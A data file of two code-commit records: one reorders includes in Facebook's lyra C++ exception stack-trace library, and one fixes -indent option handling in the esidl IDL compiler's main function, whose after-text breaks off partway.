{"text":"<commit_before>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <atomic>\n#include <mutex>\n#include <stdexcept>\n#include <unordered_map>\n#include <cxxabi.h>\n#include <unwind.h>\n#include <cassert>\n\n#include <lyra\/lyra_exceptions.h>\n\nnamespace facebook {\nnamespace lyra {\n\nusing namespace detail;\n\nnamespace {\nstd::atomic<bool> enableBacktraces{true};\n\nconst ExceptionTraceHolder* getExceptionTraceHolderInException(\n    std::exception_ptr ptr) {\n  try {\n    std::rethrow_exception(ptr);\n  } catch (const ExceptionTraceHolder& holder) {\n    return &holder;\n  } catch (...) {\n    return nullptr;\n  }\n}\n} \/\/ namespace\n\nvoid enableCxaThrowHookBacktraces(bool enable) {\n  enableBacktraces.store(enable, std::memory_order_relaxed);\n}\n\n[[gnu::noreturn]] void (*original_cxa_throw)(void*, const std::type_info*, void (*) (void *));\n\n#if defined(_LIBCPP_VERSION)\n\n\/\/ We want to attach stack traces to C++ exceptions. Our API contract is that\n\/\/ calling lyra::getExceptionTrace on the exception_ptr for an exception should\n\/\/ return the stack trace for that exception.\n\/\/\n\/\/ We accomplish this by providing a hook for __cxa_throw, which creates an\n\/\/ ExceptionTraceHolder object (which captures the stack trace for the\n\/\/ exception), and creates a mapping from the pointer to the exception object\n\/\/ (which is a parameter to __cxa_throw) to its ExceptionTraceHolder object.\n\/\/ This mapping can then be queried by lyra::getExceptionTrace to get the stack\n\/\/ trace for the exception. We have a custom exception destructor to destroy the\n\/\/ trace object and call the original destructor for the exception object, and\n\/\/ our __cxa_throw hook calls the original __cxa_throw to perform the actual\n\/\/ exception throwing and passes this custom destructor.\n\/\/\n\/\/ This works because __cxa_throw is only called when creating a new exception\n\/\/ object (that has been freshly allocated via __cxa_allocate_exception), so at\n\/\/ that point, we're able to capture the original stack trace for the exception.\n\/\/ Even if that exception is later rethrown, we'll still maintain its original\n\/\/ stack trace, assuming that std::current_exception creates a reference to the\n\/\/ current exception instead of copying it (which is true for both libstdc++ and\n\/\/ libc++), such that we can still look up the exception object via pointer.\n\/\/\n\/\/ We don't have to worry about any pointer adjustments for the exception object\n\/\/ (e.g. for converting to or from a base class subobject pointer), because a\n\/\/ std::exception_ptr will always capture the pointer to the exception object\n\/\/ itself and not any subobjects.\n\/\/\n\/\/ Our map must be global, since exceptions can be transferred across threads.\n\/\/ Consequently, we must use a mutex to guard all map operations.\n\ntypedef void (*destructor_type)(void*);\n\nnamespace {\nstruct ExceptionState {\n  ExceptionTraceHolder trace;\n  destructor_type destructor;\n};\n\n\/\/ We create our map and mutex as function statics and leak them intentionally,\n\/\/ to ensure they've been initialized before any global constructors and are\n\/\/ also available to use inside any global destructors.\nstd::unordered_map<void*, ExceptionState>* get_exception_state_map() {\n  static auto* exception_state_map =\n      new std::unordered_map<void*, ExceptionState>();\n  return exception_state_map;\n}\n\nstd::mutex* get_exception_state_map_mutex() {\n  static auto* exception_state_map_mutex = new std::mutex();\n  return exception_state_map_mutex;\n}\n\nvoid trace_destructor(void* exception_obj) {\n  destructor_type original_destructor = nullptr;\n\n  {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    auto* exception_state_map = get_exception_state_map();\n    auto it = exception_state_map->find(exception_obj);\n    if (it == exception_state_map->end()) {\n      \/\/ This really shouldn't happen, but if it does, just leaking the trace\n      \/\/ and exception object seems better than crashing.\n      return;\n    }\n\n    original_destructor = it->second.destructor;\n    exception_state_map->erase(it);\n  }\n\n  if (original_destructor) {\n    original_destructor(exception_obj);\n  }\n}\n} \/\/ namespace\n\n[[noreturn]] void\ncxa_throw(void* obj, const std::type_info* type, destructor_type destructor) {\n  if (enableBacktraces.load(std::memory_order_relaxed)) {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    get_exception_state_map()->emplace(\n        obj, ExceptionState{ExceptionTraceHolder(), destructor});\n  }\n\n  original_cxa_throw(obj, type, trace_destructor);\n}\n\nconst ExceptionTraceHolder* detail::getExceptionTraceHolder(\n    std::exception_ptr ptr) {\n  {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    \/\/ The exception object pointer isn't a public member of std::exception_ptr,\n    \/\/ and there isn't any public method to get it. However, for both libstdc++\n    \/\/ and libc++, it's the first pointer inside the exception_ptr, and we can\n    \/\/ rely on the ABI of those libraries to remain stable, so we can just\n    \/\/ access it directly.\n    void* exception_obj = *reinterpret_cast<void**>(&ptr);\n    auto* exception_state_map = get_exception_state_map();\n    auto it = exception_state_map->find(exception_obj);\n    if (it != exception_state_map->end()) {\n      return &it->second.trace;\n    }\n  }\n\n  \/\/ Fall back to attempting to retrieve the ExceptionTraceHolder directly from\n  \/\/ the exception (to support e.g. fbthrow).\n  return getExceptionTraceHolderInException(ptr);\n}\n#else\n\nnamespace {\n\nconst auto traceHolderType =\n  static_cast<const abi::__class_type_info*>(&typeid(ExceptionTraceHolder));\n\n\/\/ lyra's __cxa_throw attaches stack trace information to thrown exceptions. It basically does:\n\/\/   1. capture stack trace\n\/\/   2. construct a new type_info struct that:\n\/\/     a. holds the ExceptionTraceHolder\n\/\/     b. supports upcasting to lyra::ExceptionTraceHolder* (by just returning the holder member)\n\/\/     c. acts like the original exception type_info otherwise\n\/\/   3. call original __cxa_throw() with original exception pointer, the\n\/\/      HijackedExceptionTypeInfo, and HijackedExceptionTypeInfo::destructor\n\/\/      (which will both delete the constructed type info and call the original\n\/\/      destructor).\nstruct HijackedExceptionTypeInfo : public abi::__class_type_info {\n  HijackedExceptionTypeInfo(void* obj, const std::type_info* base, void(*destructor)(void*))\n      : abi::__class_type_info{base->name()}, base_{base}, orig_dest_{destructor} {\n  }\n\n  bool __is_pointer_p() const override {\n    return base_->__is_pointer_p();\n  }\n\n  bool __is_function_p() const override {\n    return base_->__is_function_p();\n  }\n\n  bool __do_catch(const type_info *__thr_type, void **__thr_obj, unsigned __outer) const override {\n    return base_->__do_catch(__thr_type, __thr_obj, __outer);\n  }\n\n  bool __do_upcast(const abi::__class_type_info *__target, void **__obj_ptr) const override {\n    if (__target == traceHolderType) {\n      *__obj_ptr = (void*)&stack_;\n      return true;\n    }\n    return base_->__do_upcast(__target, __obj_ptr);\n  }\n\n  static void destructor(void* obj) {\n    auto exc_ptr = reinterpret_cast<std::exception_ptr*>(&obj);\n    auto info = reinterpret_cast<const::std::type_info*>(exc_ptr->__cxa_exception_type());\n    auto mutable_info = static_cast<HijackedExceptionTypeInfo*>(const_cast<std::type_info*>(info));\n    mutable_info->orig_dest_(obj);\n    delete mutable_info;\n  }\n\n private:\n  const std::type_info* base_;\n  void (*orig_dest_)(void*);\n  ExceptionTraceHolder stack_;\n};\n\n} \/\/ namespace\n\n[[noreturn]] void cxa_throw(void* obj, const std::type_info* type, void (*destructor) (void *)) {\n  if (enableBacktraces.load(std::memory_order_relaxed)) {\n    if (!type->__do_upcast(traceHolderType, &obj)) {\n      type = new HijackedExceptionTypeInfo(obj, type, destructor);\n      destructor = HijackedExceptionTypeInfo::destructor;\n    }\n  }\n  original_cxa_throw(obj, type, destructor);\n}\n\nconst ExceptionTraceHolder* detail::getExceptionTraceHolder(\n    std::exception_ptr ptr) {\n  return getExceptionTraceHolderInException(ptr);\n}\n\n#endif \/\/ libc++\n\n} \/\/ namespace lyra\n} \/\/ namespace facebook\n<commit_msg>Reorder some includes<commit_after>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <atomic>\n#include <mutex>\n#include <stdexcept>\n#include <unordered_map>\n#include <cassert>\n#include <unwind.h>\n#include <cxxabi.h>\n\n#include <lyra\/lyra_exceptions.h>\n\nnamespace facebook {\nnamespace lyra {\n\nusing namespace detail;\n\nnamespace {\nstd::atomic<bool> enableBacktraces{true};\n\nconst ExceptionTraceHolder* getExceptionTraceHolderInException(\n    std::exception_ptr ptr) {\n  try {\n    std::rethrow_exception(ptr);\n  } catch (const ExceptionTraceHolder& holder) {\n    return &holder;\n  } catch (...) {\n    return nullptr;\n  }\n}\n} \/\/ namespace\n\nvoid enableCxaThrowHookBacktraces(bool enable) {\n  enableBacktraces.store(enable, std::memory_order_relaxed);\n}\n\n[[gnu::noreturn]] void (*original_cxa_throw)(void*, const std::type_info*, void (*) (void *));\n\n#if defined(_LIBCPP_VERSION)\n\n\/\/ We want to attach stack traces to C++ exceptions. Our API contract is that\n\/\/ calling lyra::getExceptionTrace on the exception_ptr for an exception should\n\/\/ return the stack trace for that exception.\n\/\/\n\/\/ We accomplish this by providing a hook for __cxa_throw, which creates an\n\/\/ ExceptionTraceHolder object (which captures the stack trace for the\n\/\/ exception), and creates a mapping from the pointer to the exception object\n\/\/ (which is a parameter to __cxa_throw) to its ExceptionTraceHolder object.\n\/\/ This mapping can then be queried by lyra::getExceptionTrace to get the stack\n\/\/ trace for the exception. We have a custom exception destructor to destroy the\n\/\/ trace object and call the original destructor for the exception object, and\n\/\/ our __cxa_throw hook calls the original __cxa_throw to perform the actual\n\/\/ exception throwing and passes this custom destructor.\n\/\/\n\/\/ This works because __cxa_throw is only called when creating a new exception\n\/\/ object (that has been freshly allocated via __cxa_allocate_exception), so at\n\/\/ that point, we're able to capture the original stack trace for the exception.\n\/\/ Even if that exception is later rethrown, we'll still maintain its original\n\/\/ stack trace, assuming that std::current_exception creates a reference to the\n\/\/ current exception instead of copying it (which is true for both libstdc++ and\n\/\/ libc++), such that we can still look up the exception object via pointer.\n\/\/\n\/\/ We don't have to worry about any pointer adjustments for the exception object\n\/\/ (e.g. for converting to or from a base class subobject pointer), because a\n\/\/ std::exception_ptr will always capture the pointer to the exception object\n\/\/ itself and not any subobjects.\n\/\/\n\/\/ Our map must be global, since exceptions can be transferred across threads.\n\/\/ Consequently, we must use a mutex to guard all map operations.\n\ntypedef void (*destructor_type)(void*);\n\nnamespace {\nstruct ExceptionState {\n  ExceptionTraceHolder trace;\n  destructor_type destructor;\n};\n\n\/\/ We create our map and mutex as function statics and leak them intentionally,\n\/\/ to ensure they've been initialized before any global constructors and are\n\/\/ also available to use inside any global destructors.\nstd::unordered_map<void*, ExceptionState>* get_exception_state_map() {\n  static auto* exception_state_map =\n      new std::unordered_map<void*, ExceptionState>();\n  return exception_state_map;\n}\n\nstd::mutex* get_exception_state_map_mutex() {\n  static auto* exception_state_map_mutex = new std::mutex();\n  return exception_state_map_mutex;\n}\n\nvoid trace_destructor(void* exception_obj) {\n  destructor_type original_destructor = nullptr;\n\n  {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    auto* exception_state_map = get_exception_state_map();\n    auto it = exception_state_map->find(exception_obj);\n    if (it == exception_state_map->end()) {\n      \/\/ This really shouldn't happen, but if it does, just leaking the trace\n      \/\/ and exception object seems better than crashing.\n      return;\n    }\n\n    original_destructor = it->second.destructor;\n    exception_state_map->erase(it);\n  }\n\n  if (original_destructor) {\n    original_destructor(exception_obj);\n  }\n}\n} \/\/ namespace\n\n[[noreturn]] void\ncxa_throw(void* obj, const std::type_info* type, destructor_type destructor) {\n  if (enableBacktraces.load(std::memory_order_relaxed)) {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    get_exception_state_map()->emplace(\n        obj, ExceptionState{ExceptionTraceHolder(), destructor});\n  }\n\n  original_cxa_throw(obj, type, trace_destructor);\n}\n\nconst ExceptionTraceHolder* detail::getExceptionTraceHolder(\n    std::exception_ptr ptr) {\n  {\n    std::lock_guard<std::mutex> lock(*get_exception_state_map_mutex());\n    \/\/ The exception object pointer isn't a public member of std::exception_ptr,\n    \/\/ and there isn't any public method to get it. However, for both libstdc++\n    \/\/ and libc++, it's the first pointer inside the exception_ptr, and we can\n    \/\/ rely on the ABI of those libraries to remain stable, so we can just\n    \/\/ access it directly.\n    void* exception_obj = *reinterpret_cast<void**>(&ptr);\n    auto* exception_state_map = get_exception_state_map();\n    auto it = exception_state_map->find(exception_obj);\n    if (it != exception_state_map->end()) {\n      return &it->second.trace;\n    }\n  }\n\n  \/\/ Fall back to attempting to retrieve the ExceptionTraceHolder directly from\n  \/\/ the exception (to support e.g. fbthrow).\n  return getExceptionTraceHolderInException(ptr);\n}\n#else\n\nnamespace {\n\nconst auto traceHolderType =\n  static_cast<const abi::__class_type_info*>(&typeid(ExceptionTraceHolder));\n\n\/\/ lyra's __cxa_throw attaches stack trace information to thrown exceptions. It basically does:\n\/\/   1. capture stack trace\n\/\/   2. construct a new type_info struct that:\n\/\/     a. holds the ExceptionTraceHolder\n\/\/     b. supports upcasting to lyra::ExceptionTraceHolder* (by just returning the holder member)\n\/\/     c. acts like the original exception type_info otherwise\n\/\/   3. call original __cxa_throw() with original exception pointer, the\n\/\/      HijackedExceptionTypeInfo, and HijackedExceptionTypeInfo::destructor\n\/\/      (which will both delete the constructed type info and call the original\n\/\/      destructor).\nstruct HijackedExceptionTypeInfo : public abi::__class_type_info {\n  HijackedExceptionTypeInfo(void* obj, const std::type_info* base, void(*destructor)(void*))\n      : abi::__class_type_info{base->name()}, base_{base}, orig_dest_{destructor} {\n  }\n\n  bool __is_pointer_p() const override {\n    return base_->__is_pointer_p();\n  }\n\n  bool __is_function_p() const override {\n    return base_->__is_function_p();\n  }\n\n  bool __do_catch(const type_info *__thr_type, void **__thr_obj, unsigned __outer) const override {\n    return base_->__do_catch(__thr_type, __thr_obj, __outer);\n  }\n\n  bool __do_upcast(const abi::__class_type_info *__target, void **__obj_ptr) const override {\n    if (__target == traceHolderType) {\n      *__obj_ptr = (void*)&stack_;\n      return true;\n    }\n    return base_->__do_upcast(__target, __obj_ptr);\n  }\n\n  static void destructor(void* obj) {\n    auto exc_ptr = reinterpret_cast<std::exception_ptr*>(&obj);\n    auto info = reinterpret_cast<const::std::type_info*>(exc_ptr->__cxa_exception_type());\n    auto mutable_info = static_cast<HijackedExceptionTypeInfo*>(const_cast<std::type_info*>(info));\n    mutable_info->orig_dest_(obj);\n    delete mutable_info;\n  }\n\n private:\n  const std::type_info* base_;\n  void (*orig_dest_)(void*);\n  ExceptionTraceHolder stack_;\n};\n\n} \/\/ namespace\n\n[[noreturn]] void cxa_throw(void* obj, const std::type_info* type, void (*destructor) (void *)) {\n  if (enableBacktraces.load(std::memory_order_relaxed)) {\n    if (!type->__do_upcast(traceHolderType, &obj)) {\n      type = new HijackedExceptionTypeInfo(obj, type, destructor);\n      destructor = HijackedExceptionTypeInfo::destructor;\n    }\n  }\n  original_cxa_throw(obj, type, destructor);\n}\n\nconst ExceptionTraceHolder* detail::getExceptionTraceHolder(\n    std::exception_ptr ptr) {\n  return getExceptionTraceHolderInException(ptr);\n}\n\n#endif \/\/ libc++\n\n} \/\/ namespace lyra\n} \/\/ namespace facebook\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2008, 2009 Google Inc.\n * Copyright 2007 Nintendo Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"esidl.h\"\n\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <string>\n\nnamespace\n{\n    std::string baseFilename;\n    std::string filename;\n}\n\nconst std::string getBaseFilename()\n{\n    return baseFilename;\n}\n\nvoid setBaseFilename(const char* name)\n{\n    baseFilename = name;\n    if (baseFilename[0] == '\"')\n    {\n        baseFilename = baseFilename.substr(1, baseFilename.length() - 2);\n    }\n    setFilename(name);\n}\n\nconst std::string getFilename()\n{\n    return filename;\n}\n\nvoid setFilename(const char* name)\n{\n    filename = name;\n    if (filename == \"\\\"<stdin>\\\"\")\n    {\n        filename = getBaseFilename();\n    }\n    else if (filename[0] == '\"')\n    {\n        filename = filename.substr(1, filename.length() - 2);\n    }\n}\n\nint main(int argc, char* argv[])\n{\n    if (argc < 2)\n    {\n        return EXIT_FAILURE;\n    }\n\n    \/\/ Construct cpp options\n    const char** argCpp = static_cast<const char**>(malloc(sizeof(char*) * (argc + 2)));\n    if (!argCpp)\n    {\n        return EXIT_FAILURE;\n    }\n\n    int optCpp = 0;\n    argCpp[optCpp++] = \"cpp\";\n    argCpp[optCpp++] = \"-C\";  \/\/ Use -C for cpp by default.\n\n    bool skeleton = false;\n    bool generic = false;\n    bool isystem = false;\n    bool useExceptions = true;\n    const char* stringTypeName = \"char*\";   \/\/ C++ string type name to be used\n    const char* indent = \"es\";\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (argv[i][0] == '-')\n        {\n            if (argv[i][1] == 'I')\n            {\n                argCpp[optCpp++] = argv[i];\n                if (argv[i][2] == '\\0')\n                {\n                    ++i;\n                    argCpp[optCpp++] = argv[i];\n                    setIncludePath(argv[i]);\n                }\n                else\n                {\n                    setIncludePath(&argv[i][2]);\n                }\n            }\n            else if (strcmp(argv[i], \"-fexceptions\") == 0)\n            {\n                useExceptions = true;\n            }\n            else if (strcmp(argv[i], \"-fno-exceptions\") == 0)\n            {\n                useExceptions = false;\n            }\n            else if (strcmp(argv[i], \"-include\") == 0)\n            {\n                argCpp[optCpp++] = argv[i];\n                ++i;\n                argCpp[optCpp++] = argv[i];\n            }\n            else if (strcmp(argv[i], \"-isystem\") == 0)\n            {\n                argCpp[optCpp++] = argv[i];\n                ++i;\n                argCpp[optCpp++] = argv[i];\n                setIncludePath(argv[i]);\n                isystem = true;\n            }\n            else if (strcmp(argv[i], \"-namespace\") == 0)\n            {\n                ++i;\n                Node::setFlatNamespace(argv[i]);\n            }\n            else if (strcmp(argv[i], \"-object\") == 0)\n            {\n                ++i;\n                Node::setBaseObjectName(argv[i]);\n            }\n            else if (strcmp(argv[i], \"-template\") == 0)\n            {\n                generic = true;\n            }\n            else if (strcmp(argv[i], \"-skeleton\") == 0)\n            {\n                skeleton = true;\n            }\n            else if (strcmp(argv[i], \"-string\") == 0)\n            {\n                ++i;\n                stringTypeName = argv[i];\n            }\n            else if (strcmp(argv[i], \"-indent\") == 0)\n            {\n                ++i;\n                indent = argv[i];\n            }\n        }\n    }\n    argCpp[optCpp] = 0;\n\n    \/\/ Set up the global module\n    Module* node = new Module(\"\");\n    setSpecification(node);\n    setCurrent(node);\n\n    if (strcmp(Node::getBaseObjectName(), \"::Object\") == 0)\n    {\n        \/\/ Manually install 'Object' interface forward declaration.\n        Interface* object = new Interface(\"Object\", 0, true);\n        object->setRank(2);\n        getCurrent()->add(object);\n    }\n\n    if (Node::getFlatNamespace())\n    {\n        Module* module = new Module(Node::getFlatNamespace());\n        getCurrent()->add(module);\n        setCurrent(module);\n    }\n\n    \/\/ Load every IDL file at once\n    int result = EXIT_SUCCESS;\n    int cppStream[2];\n    pipe(cppStream);\n    pid_t id = fork();\n    if (id == 0)\n    {\n        \/\/ Child process\n        int catStream[2];\n        pipe(catStream);\n        pid_t id = fork();\n        if (id == 0)\n        {\n            \/\/ cat every IDL file\n            close(catStream[0]);\n            FILE* out = fdopen(catStream[1], \"w\");\n            for (int i = 1; i < argc; ++i)\n            {\n                if (argv[i][0] == '-')\n                {\n                    if (strcmp(argv[i], \"-I\") == 0 ||\n                        strcmp(argv[i], \"-include\") == 0 ||\n                        strcmp(argv[i], \"-isystem\") == 0 ||\n                        strcmp(argv[i], \"-namespace\") == 0 ||\n                        strcmp(argv[i], \"-object\") == 0 ||\n                        strcmp(argv[i], \"-string\") == 0 ||\n                        strcmp(argv[i], \"-indent\") == 0)\n                    {\n                        ++i;\n                    }\n                    continue;\n                }\n\n                FILE* in = fopen(argv[i], \"r\");\n                if (!in)\n                {\n                    return EXIT_FAILURE;\n                }\n\n                fprintf(out, \"#pragma source \\\"%s\\\"\\n\", argv[i]);\n                int ch;\n                while ((ch = fgetc(in)) != EOF)\n                {\n                    putc(ch, out);\n                }\n                fclose(in);\n            }\n            fclose(out);\n            return EXIT_SUCCESS;\n        }\n        else if (0 < id)\n        {\n            \/\/ execute cpp\n            close(0);\n            dup(catStream[0]);\n            close(catStream[0]);\n            close(catStream[1]);\n            close(1);\n            dup(cppStream[1]);\n            close(cppStream[0]);\n            close(cppStream[1]);\n            execvp(argCpp[0], const_cast<char**>(argCpp));\n            return EXIT_FAILURE;\n        }\n        else\n        {\n            return EXIT_FAILURE;\n        }\n    }\n    else if (0 < id)\n    {\n        \/\/ Parent process - process an IDL file\n        close(cppStream[1]);\n        if (input(cppStream[0], isystem, useExceptions, stringTypeName) != EXIT_SUCCESS)\n        {\n            return EXIT_FAILURE;\n        }\n        close(cppStream[0]);\n\n        int status;\n        while (wait(&status) != id)\n        {\n        }\n        if (result == EXIT_SUCCESS)\n        {\n            if (!WIFEXITED(status))\n            {\n                result = EXIT_FAILURE;\n            }\n            else\n            {\n                result = WEXITSTATUS(status);\n            }\n        }\n    }\n    else\n    {\n        return EXIT_FAILURE;\n    }\n\n    setBaseFilename(\"\");\n\n    ProcessExtendedAttributes processExtendedAttributes;\n    getSpecification()->accept(&processExtendedAttributes);\n\n    AdjustMethodCount adjustMethodCount;\n    getSpecification()->accept(&adjustMethodCount);\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (argv[i][0] == '-')\n        {\n            if (strcmp(argv[i], \"-I\") == 0 ||\n                strcmp(argv[i], \"-include\") == 0 ||\n                strcmp(argv[i], \"-isystem\") == 0 ||\n                strcmp(argv[i], \"-namespace\") == 0 ||\n                strcmp(argv[i], \"-object\") == 0 ||\n                strcmp(argv[i], \"-string\") == 0)\n            {\n                ++i;\n            }\n            continue;\n        }\n        result = output(argv[i], isystem, useExceptions, stringTypeName, indent,\n                        skeleton, generic);\n    }\n\n    return result;\n}\n<commit_msg>(main) : Fix bugs.<commit_after>\/*\n * Copyright 2008, 2009 Google Inc.\n * Copyright 2007 Nintendo Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"esidl.h\"\n\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <string>\n\nnamespace\n{\n    std::string baseFilename;\n    std::string filename;\n}\n\nconst std::string getBaseFilename()\n{\n    return baseFilename;\n}\n\nvoid setBaseFilename(const char* name)\n{\n    baseFilename = name;\n    if (baseFilename[0] == '\"')\n    {\n        baseFilename = baseFilename.substr(1, baseFilename.length() - 2);\n    }\n    setFilename(name);\n}\n\nconst std::string getFilename()\n{\n    return filename;\n}\n\nvoid setFilename(const char* name)\n{\n    filename = name;\n    if (filename == \"\\\"<stdin>\\\"\")\n    {\n        filename = getBaseFilename();\n    }\n    else if (filename[0] == '\"')\n    {\n        filename = filename.substr(1, filename.length() - 2);\n    }\n}\n\nint main(int argc, char* argv[])\n{\n    if (argc < 2)\n    {\n        return EXIT_FAILURE;\n    }\n\n    \/\/ Construct cpp options\n    const char** argCpp = static_cast<const char**>(malloc(sizeof(char*) * (argc + 2)));\n    if (!argCpp)\n    {\n        return EXIT_FAILURE;\n    }\n\n    int optCpp = 0;\n    argCpp[optCpp++] = \"cpp\";\n    argCpp[optCpp++] = \"-C\";  \/\/ Use -C for cpp by default.\n\n    bool skeleton = false;\n    bool generic = false;\n    bool isystem = false;\n    bool useExceptions = true;\n    const char* stringTypeName = \"char*\";   \/\/ C++ string type name to be used\n    const char* indent = \"es\";\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (argv[i][0] == '-')\n        {\n            if (argv[i][1] == 'I')\n            {\n                argCpp[optCpp++] = argv[i];\n                if (argv[i][2] == '\\0')\n                {\n                    ++i;\n                    argCpp[optCpp++] = argv[i];\n                    setIncludePath(argv[i]);\n                }\n                else\n                {\n                    setIncludePath(&argv[i][2]);\n                }\n            }\n            else if (strcmp(argv[i], \"-fexceptions\") == 0)\n            {\n                useExceptions = true;\n            }\n            else if (strcmp(argv[i], \"-fno-exceptions\") == 0)\n            {\n                useExceptions = false;\n            }\n            else if (strcmp(argv[i], \"-include\") == 0)\n            {\n                argCpp[optCpp++] = argv[i];\n                ++i;\n                argCpp[optCpp++] = argv[i];\n            }\n            else if (strcmp(argv[i], \"-indent\") == 0)\n            {\n                ++i;\n                indent = argv[i];\n            }\n            else if (strcmp(argv[i], \"-isystem\") == 0)\n            {\n                argCpp[optCpp++] = argv[i];\n                ++i;\n                argCpp[optCpp++] = argv[i];\n                setIncludePath(argv[i]);\n                isystem = true;\n            }\n            else if (strcmp(argv[i], \"-namespace\") == 0)\n            {\n                ++i;\n                Node::setFlatNamespace(argv[i]);\n            }\n            else if (strcmp(argv[i], \"-object\") == 0)\n            {\n                ++i;\n                Node::setBaseObjectName(argv[i]);\n            }\n            else if (strcmp(argv[i], \"-template\") == 0)\n            {\n                generic = true;\n            }\n            else if (strcmp(argv[i], \"-skeleton\") == 0)\n            {\n                skeleton = true;\n            }\n            else if (strcmp(argv[i], \"-string\") == 0)\n            {\n                ++i;\n                stringTypeName = argv[i];\n            }\n        }\n    }\n    argCpp[optCpp] = 0;\n\n    \/\/ Set up the global module\n    Module* node = new Module(\"\");\n    setSpecification(node);\n    setCurrent(node);\n\n    if (strcmp(Node::getBaseObjectName(), \"::Object\") == 0)\n    {\n        \/\/ Manually install 'Object' interface forward declaration.\n        Interface* object = new Interface(\"Object\", 0, true);\n        object->setRank(2);\n        getCurrent()->add(object);\n    }\n\n    if (Node::getFlatNamespace())\n    {\n        Module* module = new Module(Node::getFlatNamespace());\n        getCurrent()->add(module);\n        setCurrent(module);\n    }\n\n    \/\/ Load every IDL file at once\n    int result = EXIT_SUCCESS;\n    int cppStream[2];\n    pipe(cppStream);\n    pid_t id = fork();\n    if (id == 0)\n    {\n        \/\/ Child process\n        int catStream[2];\n        pipe(catStream);\n        pid_t id = fork();\n        if (id == 0)\n        {\n            \/\/ cat every IDL file\n            close(catStream[0]);\n            FILE* out = fdopen(catStream[1], \"w\");\n            for (int i = 1; i < argc; ++i)\n            {\n                if (argv[i][0] == '-')\n                {\n                    if (strcmp(argv[i], \"-I\") == 0 ||\n                        strcmp(argv[i], \"-include\") == 0 ||\n                        strcmp(argv[i], \"-indent\") == 0 ||\n                        strcmp(argv[i], \"-isystem\") == 0 ||\n                        strcmp(argv[i], \"-namespace\") == 0 ||\n                        strcmp(argv[i], \"-object\") == 0 ||\n                        strcmp(argv[i], \"-string\") == 0)\n                    {\n                        ++i;\n                    }\n                    continue;\n                }\n\n                FILE* in = fopen(argv[i], \"r\");\n                if (!in)\n                {\n                    return EXIT_FAILURE;\n                }\n\n                fprintf(out, \"#pragma source \\\"%s\\\"\\n\", argv[i]);\n                int ch;\n                while ((ch = fgetc(in)) != EOF)\n                {\n                    putc(ch, out);\n                }\n                fclose(in);\n            }\n            fclose(out);\n            return EXIT_SUCCESS;\n        }\n        else if (0 < id)\n        {\n            \/\/ execute cpp\n            close(0);\n            dup(catStream[0]);\n            close(catStream[0]);\n            close(catStream[1]);\n            close(1);\n            dup(cppStream[1]);\n            close(cppStream[0]);\n            close(cppStream[1]);\n            execvp(argCpp[0], const_cast<char**>(argCpp));\n            return EXIT_FAILURE;\n        }\n        else\n        {\n            return EXIT_FAILURE;\n        }\n    }\n    else if (0 < id)\n    {\n        \/\/ Parent process - process an IDL file\n        close(cppStream[1]);\n        if (input(cppStream[0], isystem, useExceptions, stringTypeName) != EXIT_SUCCESS)\n        {\n            return EXIT_FAILURE;\n        }\n        close(cppStream[0]);\n\n        int status;\n        while (wait(&status) != id)\n        {\n        }\n        if (result == EXIT_SUCCESS)\n        {\n            if (!WIFEXITED(status))\n            {\n                result = EXIT_FAILURE;\n            }\n            else\n            {\n                result = WEXITSTATUS(status);\n            }\n        }\n    }\n    else\n    {\n        return EXIT_FAILURE;\n    }\n\n    setBaseFilename(\"\");\n\n    ProcessExtendedAttributes processExtendedAttributes;\n    getSpecification()->accept(&processExtendedAttributes);\n\n    AdjustMethodCount adjustMethodCount;\n    getSpecification()->accept(&adjustMethodCount);\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (argv[i][0] == '-')\n        {\n            if (strcmp(argv[i], \"-I\") == 0 ||\n                strcmp(argv[i], \"-include\") == 0 ||\n                strcmp(argv[i], \"-indent\") == 0 ||\n                strcmp(argv[i], \"-isystem\") == 0 ||\n                